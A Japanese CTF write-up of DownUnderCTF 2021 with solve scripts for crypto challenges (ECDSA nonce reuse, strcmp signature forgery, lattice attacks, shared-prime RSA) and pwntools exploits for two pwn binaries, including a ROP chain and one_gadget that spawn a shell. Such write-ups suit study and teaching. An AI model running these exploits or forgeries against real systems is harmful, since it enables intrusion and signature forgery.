DownUnderCTF 2021 Writeup

Sun Sep 26 2021

    9/24-26 で開催していた DownUnderCTF 2021 にソロで参加しました。結果は 29th/1594 (得点のあるチームのみカウント) でした。

    最近では pwn の勉強をしている (https://pwnable.tw/ を埋めていっている) のもあり、今回は crypto に加えて pwn もがんばりました。 pwn は経験が浅いのもあって道半ばで終わってしまうのが多かったです…けれど惜しいところまで解けてる問題もあり、力はついていそう。 全体を通して若干 guessing が要求される問題がありましたが、基本的にどれも面白かったです。特に joseph-san の問題はカテゴリーを問わずよかった。

    100solves 以下の解けた問題についての writeup です。

    Crypto

    1337crypt v2

    3 solves

    1337crypt-v2.sage
    from Crypto.Util.number import getPrime, bytes_to_long
    
    flag = open('flag.txt', 'rb').read().strip()
    
    p, q = getPrime(1337), getPrime(1337)
    n = p*q
    
    K.<z> = NumberField((x-p)^2 + q^2)
    hint1 = p^2 + q^2
    hint2 = []
    
    l = 1+337
    for _ in range(1*3*3-7):
        a, b = getrandbits(1337), getrandbits(1337)
        x = K(a + getrandbits(l)/2^l) + K(b + getrandbits(l)/2^l)*z
        y = x*x.conjugate()
        hint2.append((int(y), a, b))
    
    Zn.<I> = (ZZ.quo(n*ZZ))[]
    ZnI.<I> = Zn.quo(I^2 + 1)
    
    m = randrange(1, n) + bytes_to_long(flag) * I
    c = pow(m, 0x1337)
    
    print(f'hint1 = {hint1}', f'hint2 = {hint2}', f'c = {c}', sep='\n')

    数学的に慣れない概念がたくさん… まず暗号文 c に注目すると、実部と虚部それぞれについて mod nn を取り、 mem^e (e=0x1337e=\mathrm{0x1337}) を計算しています。 RSA をガウス整数に拡張したような感じです。 この話については以前 CryptoHack の tetctf writeup に書いてあるのを読んだ覚えがあったので見返してみると、とりあえず ppqq を求められれば RSA と同じように秘密鍵 dd が計算できるっぽいです。なので当面は p,qp, q を求めることに専念します。

    そのために用意されているのが hint1, hint2 です (以下 hint1 = hh とする)。 h=p2+q2h = p^2 + q^2 です。 hint2y=Norm(a+r/2l+(b+s/2l)z)y = \lfloor\mathrm{Norm}(a + r/2^l + (b + s/2^l)z)\rfloor が2種類格納されています。y,a,b,ly, a, b, l が既知で r,s,zr, s, z が未知です。 r,sr, sgetrandbits(l) で生成された乱数です。 zz は気持ち的には z=p+iqz = p + iq とみなしてよく、このノルムの計算を変形すると、

    (a2l+r)2+2(a2l+r)(b2l+s)p+(b2l+s)2h=y22l+t(a2^l + r)^2 + 2(a2^l + r)(b2^l + s)p + (b2^l + s)^2h = y2^{2l} + t

    となります。 tt は int で切り捨てられた値です。

    この式は各項で大きさが全然異なることに気づきます。そこで値の大きい項のみを残し、LLL が使えるよう線形になるように書き表しました。

    (y2lb2h2la)/(ab2l+1)h/(a2l)s=p+t\lfloor(y2^{l} - b^2h2^l - a) / (ab2^{l+1})\rfloor - \lfloor h / (a2^{l})\rfloor s = p + t'

    tt' は337bit程度です (自前でこれらの値を生成して確認した)。この関係式が2つあるので、 LLL で pp を解きました。

    lll.sage
    y1, a1, b1 = hint2[0]
    y2, a2, b2 = hint2[1]
    
    # [s1, s2, p, 1]
    mat = matrix(ZZ, 4, 4)
    mat[0, 0] = 1
    mat[1, 1] = 1
    mat[0, 2] = hint1//(a1*2**l)
    mat[2, 2] = 1
    mat[3, 2] = -(y1*2**l - b1**2*hint1*2**l - a1)//(a1*b1*2**(l+1))
    mat[1, 3] = hint1//(a2*2**l)
    mat[2, 3] = 1
    mat[3, 3] = -(y2*2**l - b2**2*hint1*2**l - a2)//(a2*b2*2**(l+1))
    V = mat.LLL()
    C = mat.solve_left(V)
    s1, s2, _, _ = C[1]  # C[1][2] は p のはずだが、近似がとても悪いので破棄
    p_approx = (y1*2**l - b1**2*hint1*2**l - a1)//(a1*b1*2**(l+1)) - hint1*int(s1)//(a1*2**l)

    ところが近似をしすぎたせいか、これで求まる pp は実際の値から若干ずれていました。自前で生成した値で確認すると、100程度はずれます。そのためここで求まった pp の値を中心に np2=q2n - p^2 = q^2 となる整数 qq が存在するかをチェックしていきました。

    base_p = p_approx - 500
    for i in range(1000):
        tmp_p = base_p + i
        tmp_q = int(sqrt(hint1 - tmp_p**2))
        if tmp_p **2 + tmp_q ** 2 == hint1:
            print(tmp_p, tmp_q)
            p = tmp_p
            q = tmp_q
            break

    これで p,qp, q が求まりました。あとはガウス整数での RSA をするだけです。ちょっと原理はわかっていないのですが、 ϕ=(p21)(q21)\phi = (p^2 - 1)(q^2 - 1) として秘密鍵 ddd=e1modϕd = e^{-1} \mod \phi で計算すれば、 m=cdmodnm = c^d \mod n で復号できるみたいです。

    rsa.sage
    n = p*q
    Zn.<I> = (ZZ.quo(n*ZZ))[]
    ZnI.<I> = Zn.quo(I^2 + 1)
    c**int(pow(0x1337, -1, ((p**2-1)*(q**2-1))))

    復号結果の虚部がフラグとなっています。

    DUCTF{mantissa_in_crypto??_n0_th4nks!!}

    OTWhat 2

    5 solves https://EVILCODE/ に対して ECDSA (p-256) の署名が作れれば勝ちです。いくつか URL-署名 のペアが与えられています。


    署名の parse

    与えられている署名は謎の形式になっています。いやきっと現実の ECDSA で使われている形式なんだろうけど、自分は現実世界の crypto を知らないので… b"0E" から始まるものもあれば b"0D" から始まるのもあり、 b"\x02!\x00" の後が r,sr, s の値っぽい?と思ったら b"\x02 " の後にあったり… 調べるのが億劫だったので、なんとなくで parse していきました。上手くいっているかは公開鍵 PP が一意に定まるかでチェックしました。沼にハマらなくてよかった…

    parse_sign.sage
    p = 2**256 - 2**224 + 2**192 + 2**96 - 1
    a = -3
    b = 41058363725152142129326129780047268409114441015993725554835256314039467401291
    g = (48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109)
    EC = EllipticCurve(GF(p), [a, b])
    G = EC(g)
    n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
    
    raw_data = [
        ("https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018",
        "MEUCIQDygJ+KOWKxMIomSm4ejoR75yQiGRebnTIecMz+vAaLZgIgFlRE1/i/oP0IrSKy/jZhEanzrFDCK8siRsELIOrGxlA="),
        ...
    ]
    
    data = []
    for raw in raw_data:
        url = raw[0].encode()
        sign = raw[1].encode()
        tmp = b64decode(sign)
        print(len(tmp), tmp)
        h = bytes_to_long(sha3_512(url).digest()[:32])
        if len(tmp) == 72:
            r = bytes_to_long(tmp[5:37])
            s = bytes_to_long(tmp[40:72])
            data.append((h, r, s))
        elif len(tmp) == 71:
            idx1 = tmp.index(b"\x02!\x00")
            skip1 = 3
            idx2 = tmp.index(b"\x02 ")
            skip2 = 2
            if idx1 > idx2:
                idx1, idx2 = idx2, idx1
                skip1, skip2 = skip2, skip1
            r = bytes_to_long(tmp[idx1+skip1:idx1+skip1+32])
            idx = tmp.index(b"\x02 ")
            s = bytes_to_long(tmp[idx2+skip2:idx2+skip2+32])
            data.append((h, r, s))
        elif len(tmp) == 70:
            idx1 = tmp.index(b"\x02 ")
            idx2 = tmp.rindex(b"\x02 ")
            r = bytes_to_long(tmp[idx1+2:idx1+34])
            idx = tmp.index(b"\x02 ")
            s = bytes_to_long(tmp[idx2+2:idx2+34])
            data.append((h, r, s))
    
    # 以下を実行して一番多かった点を公開鍵とする (適当すぎるが)
    """
    for h, r, s in data:
        c = pow(s, -1, n)
        u1 = h * c
        u2 = r * c
        int(pow(u2, -1, n)) * (EC.lift_x(Integer(r)) - int(u1) * G)
    """
    
    P = EC(47554471690996962113379253321322669494542858433162751573721117116112284979595, 40597206234212005901461215848928857627385739413715941748129795899357037208631)
    
    # check P is correct
    for h, r, s in data:
        c = pow(s, -1, n)
        u1 = h * c
        u2 = r * c
        tmp = int(u1) * G + int(u2) * P
        assert tmp[0] == r

    small k?

    parse できてからが本番です。この問題にはソースコードもなく、明示的な脆弱性がない状況でしたので、思いつく脆弱性をしらみつぶしに試していきます。

    まずは署名の nonce である kk が小さいケースを考えました。もしそうであれば hidden number problem として解くことができます。

    結果としては違いましたがね!

    small_k.sage
    hash_list = []
    r_list = []
    s_list = []
    for h, r, s in data:
        hash_list.append(h)
        r_list.append(r)
        s_list.append(s)
    
    for b in range(10, 256, 5):
        print(b)
        B = 2**b
        M = Matrix(QQ, len(hash_list)+1, len(hash_list)+1)
        for i in range(len(hash_list)-1):
            M[i, i] = n
            M[len(hash_list)-1, i] = pow(s_list[i+1], -1, n) * r_list[i+1] * s_list[0] * pow(r_list[0], -1, n) % n
            M[len(hash_list), i] = (pow(s_list[i+1], -1, n) * hash_list[i+1] - pow(s_list[i+1], -1, n) * r_list[i+1] * pow(r_list[0], -1, n) * hash_list[0]) % n
        M[len(hash_list)-1, len(hash_list)-1] = QQ(B) / QQ(n)
        M[len(hash_list), len(hash_list)] = QQ(B)
        V = M.LLL()
        for i in range(len(hash_list)+1):
            d = int((int(s_list[1] * V[i][0]) - int(hash_list[1])) * pow(r_list[1], -1, n) % n)
            if (d * G).xy()[0] == P.xy()[0]:
                print("found!")
                print(d)

    404 not found


    同じ k が使われている

    kk の生成方法を特定するのは流石にきつそうなので、同じ kk が使われている (同じ rr が存在する) かを確認しました。ありました。

    for i in range(m):
        for j in range(i+1, m):
            if r_list[i] == r_list[j]:
                print(i, j)
    # 5, 13 が k 一緒

    このような場合、 kkdd と順に求められます。

    k = (hash_list[5] - hash_list[13]) * pow(s_list[5] - s_list[13], -1, n)
    d = int((s_list[5] * k - hash_list[5]) * pow(r_list[5], -1, n))

    あとは署名を作るだけなのですが、法則を完全に見抜けてはいないので、 b"0D\x02 {r}\x02 {s}" の形式の署名が通るまで kk を変えていきました。

    sign.sage
    url_evil = b"https://EVILCODE/"
    h_evil = bytes_to_long(sha3_512(url_evil).digest()[:32])
    k = 8
    tmp = k * G
    r_evil = int(tmp.xy()[0])
    s_evil = int(int(pow(k, -1, n)) * (h_evil + r_evil * d)) % n
    
    c = pow(s_evil, -1, n)
    u1 = h_evil * c
    u2 = r_evil * c
    tmp = int(u1) * G + int(u2) * P
    assert tmp[0] == r_evil
    
    b64encode(b"0D\x02 " + long_to_bytes(r_evil) + b"\x02 " + long_to_bytes(s_evil))

    DUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}

    OTWhat 1

    12 solves RSA の署名の問題。 easy タグがつけられているのにこの solves 数である…

    とはいえ RSA の公開鍵すら配布されていません。 困って Chrome の inspector を見てみると、 Update したときに公開鍵と署名の一致の比較をしている箇所のソースコードが表示されていました。

    <!-- DEBUG
    OEM Key: 
    -----BEGIN PUBLIC KEY-----
    ...
    -----END PUBLIC KEY-----
    
    update.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = 0
    -->
    

    これで公開鍵は手に入りました。 例えば e=3e = 3 のように小さければ Bleichenbacher の方法を使って署名を偽造することができます。ですが今回は e=65537e = 65537 なのでできません。 また NN についても素因数分解できないか試しましたが厳しそうでした。

    ここで strcmp で比較していることに注目します。 strcmp\0 が現れるまで文字列の比較をします。strcmp で悪さをすることを考えるならば、 hash の最初の文字と &decrypted_signature[512-64] の最初の文字がどちらも \0 とすれば一致と判定されることでしょう。 これを利用できないかなと思って問題文を熟読すると、 https://EVILCODE/ から始まる任意の URL で OK とのことでした (これに全然気づかなくて沼にハマっていた、自分の英語読解力の低さを恨む)。 URL に適当な文字を足してハッシュの最初の文字が \0 となるものと、 memodNm^e \mod N の 512-64 文字目が \0 となる mm をそれぞれしらみつぶしに探します。1/256 程度の確率で見つかるはず。

    solve.py
    
    url_evil = b"https://EVILCODE/"
    
    for i in range(32, 128):
        for j in range(32, 128):
            tmp = url_evil + chr(i).encode() + chr(j).encode()
            url_hash_evil = sha3_512(tmp).digest()
            if url_hash_evil[0] == 0:
                print("found")
                print(tmp)
                break
    
    # https://EVILCODE/Ia
    
    for i in range(2, 256**2):
        tmp = long_to_bytes(pow(i, e, n))
        if tmp[-64] == 0:
            print("found")
            print(b64encode(int(i).to_bytes(512, "big")))
    
    # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6s=

    DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}

    yadlp

    14 solves

    yadlp.sage
    def G_add(A, B):
        x1, y1 = A
        x2, y2 = B
        return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p)
    
    def G_mul(A, k):
        out = (1, 0)
        while k > 0:
            if k & 1:
                out = G_add(out, A)
            A = G_add(A, A)
            k >>= 1
        return out
    
    def rand_element():
        while True:
            x = randint(1, p-1)
            d = x^2 * (D + 1) - D
            if (x & 1 == d & 1) and kronecker(d, p) == 1:
                y = (x + sqrt(Zmod(p)(d))) * inverse_mod(D, p) % p
                return (x, y)
    
    D = 13337
    p = 17568142778435152362975498611159042138909402642078949814477371651322179417849164549408357464774644525711780515232117470272550677945089719112177956836141583
    assert p.nbits() >= 512
    assert ((p-1)//2).is_prime() # safe prime
    
    FLAG = open('flag.txt', 'rb').read().strip()
    assert len(FLAG) % 8 == 0
    M = [int.from_bytes(FLAG[i:i+8], 'big') for i in range(0, len(FLAG), 8)]
    
    G = [rand_element() for _ in M]
    c = (1, 0)
    for m, gi in zip(M, G):
        c = G_add(c, G_mul(gi, m))
    
    print(f'{D = }')
    print(f'{p = }')
    print(f'{G = }')
    print(f'{c = }')

    Ellipse Curve 上の加群 (?) についての問題。

    式が群になっているかは判断つかなかったので G_add, G_mul を適当にいじって加群になっていることを確認しました。問題文中に

    assert ((p-1)//2).is_prime() # safe prime

    とあるので order は p1p-1 なのかなと思って G_mul(..., p-1) を計算してみましたが、期待通りの結果にならず…適当に p,p+1p, p+1 を試してみると order が p+1p+1 であることがわかりました。 なるほど?と思い p+1p+1 を素因数分解をしてみると小さい素数の積になっていることが確認されました。 order がこのような数ならば Pohlig-Hellman で離散対数問題を解くことができます。

    Pohlig-Hellman でまずは logcGi\log_c G_i をそれぞれ求めます。これは LLL を使って MM を復号するためです。

    dlp.sage
    def G_inv(A):
        return G_mul(A, p)
    
    
    def bsgs(g, h, n):
        """return x s.t. g^x = h"""
        m = ceil(sqrt(n))
        table = {}
        for j in range(m):
            table[G_mul(g, j)] = j
        factor = G_mul(G_inv(g), m)
        gamma = h
        for i in range(m):
            if gamma in table:
                j = table[gamma]
                ret = i * m + j
                assert G_mul(g, ret) == h
                return ret
            gamma = G_add(gamma, factor)
    
    O = (1, 0)
    
    def calc_order(g):
        order = p + 1
        for pi, e in list(factor(order)):
            for i in range(1, e+1):
                if G_mul(g, order // pi) == O:
                    order //= pi
        return order
    
    
    def pohlig_hellman(g, h):
        a_list = []
        b_list = []
        order = calc_order(g)
        for pi, e in list(factor(order)):
            gi = G_mul(g, order // pi ** e)
            hi = G_mul(h, order // pi ** e)
            gamma = G_mul(gi, pi ** (e - 1))
            xk = 0
            for k in range(e):
                hk = G_mul(G_add(G_mul(G_inv(gi), xk), hi), (pi ** (e - 1 - k)))
                dk = bsgs(gamma, hk, pi)
                xk = xk + pi ** k * dk
            xi = xk
            a_list.append(xi)
            b_list.append(pi ^ e)
        return crt(a_list, b_list)
    
    
    ds = [pohlig_hellman(c, gi) for gi in G]

    これで、 idimi=1modp+1\sum_i d_im_i = 1 \mod p+1 (did_i は上記で求めた ds の各要素、 mim_i はフラグを8bytesごとに区切ったもの) という形になりました。 この式と mi<2568m_i < 256^8 と小さいことを利用して格子を組みます (下記コード参照)。この格子 LLdet(L)1/7\det(L)^{1/7} は74bitsでした。mim_i が64bits なことを考えると LLL で十分に解けそうです。

    lll.sage
    # [q, m1, m2, ..., m6]
    mat = matrix(ZZ, 7, 7)
    mat[0, 0] = -(p+1)
    for i in range(1, 7):
        mat[i, 0] = ds[i-1]
        mat[i, i] = 1
    C = mat.LLL()
    ms = mat.solve_left(C[0])
    b"".join(long_to_bytes(m) for m in ms)

    DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!}

    power sign

    14 solves

    power-sign.sage
    #!/usr/bin/env sage
    
    proof.arithmetic(False) # just makes things faster
    
    def get_3m4_prime(N):
        while True:
            p = random_prime(2^N - 1, lbound=2^(N-1))
            if p % 4 == 3:
                return p
    
    def generate_key(L, n, m):
        p = get_3m4_prime(L//2)
        q = get_3m4_prime(L//2)
        N = p*q
        r = next_prime(N)
        F.<x> = PolynomialRing(GF(r))
        K = F.quo(F.irreducible_element(n))
        return (K, m), N, (p, q)
    
    def H(params, msg, u):
        K, m = params
        r, z = K.characteristic(), K.gens()[0]
        h = 0
        while msg > 0:
            h *= z
            h += msg % r
            msg //= r
        h += z*u
        for _ in range(m):
            h ^= r
        assert len(list(h)) != 0
        return int(h[0])
    
    def sign(params, privkey, msg):
        p, q = privkey
        u = 1
        while True:
            c = H(params, msg, u) % (p*q)
            if legendre_symbol(c, p) == legendre_symbol(c, q) == 1:
                break
            u += 1
        xp = pow(c, (p+1)//4, p)
        xq = pow(c, (q+1)//4, q)
        x = crt([int(xp), int(xq)], [p, q])
        return x, u
    
    def verify(params, pubkey, msg, sig):
        N = pubkey
        x, u = sig
        c = H(params, msg, u)
        return x^2 % N == c % N
    
    def main():
        print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!')
        FLAG = open('./flag.txt', 'r').read().strip()
    
        L, n, m = 1024, 15, 3
        params, pubkey, privkey = generate_key(L, n, m)
        print('N:', pubkey)
    
        msg = int(input('message (in hex): '), 16)
        if msg < pubkey^m:
            print('That message is too small!')
            exit()
        if msg > pubkey^n:
            print('That message is too big!')
            exit()
        x, u = sign(params, privkey, msg)
        print('x:', x)
        print('u:', u)
    
        auth_msg = randint(1, pubkey^5)
        print('Now sign', hex(auth_msg))
        x = int(input('x: '))
        u = int(input('u: '))
    
        if verify(params, pubkey, auth_msg, (x, u)):
            print(FLAG)
        else:
            print('Incorrect!')
    
    if __name__ == '__main__':
        main()

    独自ハッシュ関数を使った署名を通す問題。

    def verify(params, pubkey, msg, sig):
        N = pubkey
        x, u = sig
        c = H(params, msg, u)
        return x^2 % N == c % N

    これを通す x,ux, u を見つけます。 H 内部の式の詳細はあまり追わずにいろいろ実験していたところ、 H(params, msg, u+1) - H(params, msg, u)u によらずに一定であることがわかったため、 H(params, msg, u) == 1 となる u を計算し、 x == 1 とすれば署名が通ります。雑な解き方で出題者に申し訳ない…

    solve.sage
    from pwn import remote
    
    
    L, n, m = 1024, 15, 3
    
    io = remote("pwn-2021.duc.tf", 31912)
    io.recvuntil("N: ")
    N = int(io.recvline())
    
    r = next_prime(N)
    # なんでもいい
    io.sendlineafter("(in hex): ", str(r**3))
    
    F.<x> = PolynomialRing(GF(r))
    K = F.quo(F.irreducible_element(n))
    params = (K, m)
    
    io.recvuntil("Now sign ")
    auth_msg = int(io.recvline(), 16)
    diff = H(params, 0, 1)
    tmp = H(params, auth_msg, 0)
    u = (1-tmp) * pow(diff, -1, r)
    
    io.sendlineafter("x: ", b"1")
    io.sendlineafter("u: ", str(u))
    
    io.recvall()

    DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...}

    競技終了後に twitter で kurenaif-san や rkm-san に教えてもらったのですが、フロベニウス写像になっていたみたいです。なるほどなあ。

    Secuchat

    32 solves sqlite の db ファイルが配布されます。RSA の公開鍵と、 AES の key を RSA で暗号化したものと、 AES で暗号化されたメッセージが含まれています。 取っ掛かりがわからなかったので、とりあえず RSA の複数ある公開鍵について gcd を計算してみたところ、一部の公開鍵で同じ素数が使われていることがわかりました。初手でわかってよかった…

    これでその一部の RSA 鍵については復号ができるので、その鍵で AES の key を復号→メッセージの復号をしてみたら、フラグが得られました。

    solve.py
    import sqlite3
    
    from Crypto.Cipher import AES, PKCS1_OAEP
    from Crypto.PublicKey import RSA
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    
    con = sqlite3.connect("./secuchat.db")
    cur = con.cursor()
    
    cur.execute("select username, rsa_key from user")
    tmp = cur.fetchall()
    
    ns = []
    es = []
    for t in tmp:
        rsa = RSA.import_key(t[1])
        ns.append(rsa.n)
        es.append(rsa.e)
    
    for i in range(len(tmp)):
        for j in range(i+1, len(tmp)):
            g = gcd(ns[i], ns[j])
            if g > 1:
                print(i, j, g)
    # ns[1], ns[23] の gcd が 1 こえ
    # 1: hortonashley, 23: eriksaunders
    p1 = gcd(ns[1], ns[23])
    p23 = p1
    q1 = ns[1] // p1
    q23 = ns[23] // p23
    phi1 = (p1 - 1) * (q1 - 1)
    e = 65537
    d1 = pow(e, -1, phi1)
    
    rsa1 = RSA.construct((ns[1], e, d1))
    cipher = PKCS1_OAEP.new(rsa1)
    
    # conversation=46 で initiator=hortonashley, initial_parameters=328
    cur.execute("SELECT * FROM Message WHERE conversation=46")
    conv_init_1 = cur.fetchall()
    parameters = list(range(328, 328+len(conv_init_1)))
    aes_keys = []
    ivs = []
    for parameter in parameters:
        cur.execute("SELECT * FROM Parameters WHERE id=?", (parameter,))
        tmp = cur.fetchall()
        init_enc_key = tmp[0][1]
        iv = tmp[0][-1]
        init_key = cipher.decrypt(init_enc_key)
        aes_keys.append(init_key)
        ivs.append(iv)
    
    for i in range(len(conv_init_1)):
        aes = AES.new(aes_keys[i], AES.MODE_CBC, ivs[i])
        print(aes.decrypt(conv_init_1[i][-1]))

    DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}

    Pwn

    ready, bounce, pwn!

    41 solves

    TODO: とりあえずコードを貼ったが後でいろいろ書く

    solve.py
    from pwn import *
    
    elf = ELF("./rbp")
    REMOTE = True
    
    if REMOTE:
        libc = ELF("./libc.so.6")
        io = remote("pwn-2021.duc.tf", 31910)
    else:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        # io = process("./rbp")
        io = remote("localhost", 1337)
    
    io.sendafter("name? ", p64(0x7ffffffff000) + p64(elf.symbols["main"]+1) + p64(elf.symbols["main"]+1))  # ret
    io.sendafter("number? ", b"-32".ljust(8, b"\x00") + p64(0x00000000004012ac) + b"\x00"*3)
    
    io.sendafter("name? ", p64(0x00000000004012b3) + p64(elf.got["puts"]) + p64(elf.symbols["puts"]))  # pop rdi ; ret
    io.sendafter("number? ", b"-40".ljust(8, b"\x00") + p64(0x00000000004012ac) + b"\x00"*3)
    
    addr_got_puts = u64(io.recvline().strip().ljust(8, b"\x00"))
    libc.address = addr_got_puts - libc.symbols["puts"]
    print(f"{hex(libc.address) = }")
    
    offset_one_gadget = 0xde78c
    io.sendafter("name? ", p64(0x00000000004012b2) + p64(0) + p64(libc.address + offset_one_gadget))  # pop r15 ; ret
    io.sendafter("number? ", b"-80".ljust(8, b"\x00") + p64(0x00000000004012ac) + b"\x00"*3)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    
    io.interactive()

    競技時間中に解けなかった問題 (復習含む)

    Crypto

    Substitution Cipher III

    1 solves

    TODO: Matsumoto-Imai Cryptosystem のお勉強

    Pwn

    encrypted note

    22 solves

    win 関数が存在することに気づかなかった悔しい…

    とりあえず競技中のコードを貼っておきます。ELF のベースアドレスと canary はリークできていたけど、意識が ROP に行ってしまい、 ROP をするには null を上手く回避する方法が必要だけど思いつかず撤退してしまいました。 win に飛べばよかったんや…

    solve.py
    from pwn import *
    
    context.log_level = "DEBUG"
    elf = ELF("./encrypted_note")
    # io = remote("localhost", 1337)
    io = process("./encrypted_note")
    
    def leak_X():
        io.sendafter(b"> ", b"1")
        io.sendafter(b"contents: ", b"ABCDEFGH")
        io.sendafter(b"> ", b"2")
        ret = io.recvline().strip()
        assert len(ret) == 16
        output = u64(unhex(ret))
        # X = output ^ 0x4847464544434241
        X = output ^ u64(b"ABCDEFGH")
        return X
    
    M = 256 ** 8
    Xs = []
    for _ in range(3):
        X = leak_X()
        Xs.append(X)
    print(Xs)
    A = (Xs[2] - Xs[1]) * pow(Xs[1] - Xs[0], -1, M) % M
    B = (Xs[1] - A*Xs[0]) % M
    print(f"{hex(A) = }, {hex(B) = }")
    
    # c 6
    
    X = Xs[-1]
    
    def next_X(X):
        return (A * X + B) % M
    
    
    def write(value: bytes, X: int) -> int:
        assert len(value) % 8 == 0
        payload = b""
        for i in range(0, len(value), 8):
            X = next_X(X)
            payload += p64(X ^ u64(value[i: i+8]))
        io.sendafter(b"> ", b"1")
        io.sendafter(b"contents: ", payload)
        return X
    
    
    def append(value: bytes, X: int) -> int:
        assert len(value) == 8 and value[-1] == 0
        X = next_X(X)
        payload = p64(X ^ u64(value))
        io.sendafter(b"> ", b"3")
        io.sendafter(b"append: ", payload)
        return X
    
    
    def multi_append(value: bytes, X: int) -> int:
        # assert len(value) % 8 == 0
        if len(value) % 6 != 0:
            value += b"\x00" * (6 - len(value) % 6)
        for i in range(0, len(value), 6):
            if i == len(value) // 6 * 6:
                X = append(value[i: i+7]+b"\x00"*1, X)
            else:
                X = append(value[i: i+6]+b"\x00"*2, X)
        return X
    
    
    X = write(b"A"*0x51 + b"\x00"*7, X)
    # c 7
    
    X = next_X(X)
    io.sendafter(b"> ", b"3")
    io.sendafter(b"append: ", b"A"*8)
    # c 8
    
    io.sendafter(b"> ", b"2")
    ret = unhex(io.recvline().strip())
    canary = b"\x00" + ret[0x59: 0x60]
    print(f"{canary = }")
    fake_canary = b"\xff" + canary[1:]
    # c 9
    
    
    def fix_canary_lsb(X) -> int:
        tmp_X = X
        cnt = 0
        while True:
            tmp_X = (A * tmp_X + B) % M
            cnt += 1
            if tmp_X < 256**7 and cnt >= 0x58 // 8 + 1:
                break
    
        print(f"needed {cnt = }")
        print(f"c {cnt-10}")
        for _ in range(cnt-0x58//8-1):
            X = write(b"A"*0x8, X)
            print(hex(X))
    
        X = write(b"A" * 0x51 + b"\x00" * 7, X)
        print(hex(X))
        X = append(b"A"*7 + b"\x00", X)
        print(hex(X))
        return X
    
    
    X = write(b"\xff" * 0x51 + b"\x00"*7, X)
    # c 10
    
    
    payload = b"\xff" * 0x7
    payload += fake_canary
    
    X = multi_append(payload, X)
    X = append(b"\xff"*7+b"\x00", X)
    
    io.sendafter(b"> ", b"2")
    ret = io.recvline().strip()
    addr_main = u64(ret[104:].ljust(8, b"\x00")) - 24
    elf.address = addr_main - elf.symbols["main"]
    print(f"{hex(elf.address) = }")